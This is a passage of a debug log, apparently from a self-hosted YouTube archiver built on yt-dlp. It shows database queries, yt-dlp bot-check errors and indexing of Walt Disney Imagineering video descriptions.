\u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", nil, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, 2, ~U[2026-02-17 00:00:00Z]] 18:54:57.582 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:57.583 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:57.583 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9394] 18:54:57.583 [debug] Current batch of media processed. Will check again in 1000ms 18:54:57.826 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/9b/439b9875d502b4d44ceb3888712d063bdb6bd480823e3552b419fa98e40d29bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:54:57.827 [error] yt-dlp download error for media item #12001: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:57.827 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:57.827 [info] {"args":{"id":12001},"id":1703,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2259109,"event":"job:stop","queue_time":567426,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:58.584 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "filename" => "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", "id" => "IZwvg7w1_Kw", "original_url" => "https://www.youtube.com/watch?v=IZwvg7w1_Kw", "playlist_index" => 6, "title" => "How does Walt Disney Imagineering control a ride that's trackless?", "upload_date" => "20260127"} 18:54:58.585 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:58.585 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:58.586 [debug] QUERY OK source="media_items" db=0.5ms idle=758.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 2] 18:54:58.588 [debug] QUERY OK source="media_items" db=1.4ms idle=752.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "4be4b4c5-684e-479a-be46-206d2f16296b", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, false, 6, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, false, 2, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-29 22:54:58Z], ~U[2026-03-29 22:54:58Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", nil, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, 2, ~U[2026-01-27 00:00:00Z]] 18:54:58.588 [debug] QUERY OK source="sources" db=0.1ms idle=57.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:58.589 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:58.589 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7845] 18:54:58.589 [debug] Current batch of media processed. Will check again in 1000ms 18:54:58.615 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/74/ab74ee6316e339786b1e3a340f340cbf85d15a06a901decc7cb54bb10b186fd3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:54:58.615 [error] yt-dlp download error for media item #11511: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:58.615 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:58.616 [info] {"args":{"id":11511},"id":1704,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2039728,"event":"job:stop","queue_time":575469,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:59.590 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", "id" => "qq0aU6SBP_M", "original_url" => "https://www.youtube.com/watch?v=qq0aU6SBP_M", "playlist_index" => 7, "title" => "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "upload_date" => "20260120"} 18:54:59.591 [debug] QUERY OK source="sources" db=0.1ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:59.591 [debug] QUERY OK source="sources" db=0.2ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.592 [debug] QUERY OK source="media_items" db=0.5ms idle=975.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 2] 18:54:59.594 [debug] QUERY OK source="media_items" db=1.4ms idle=969.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → 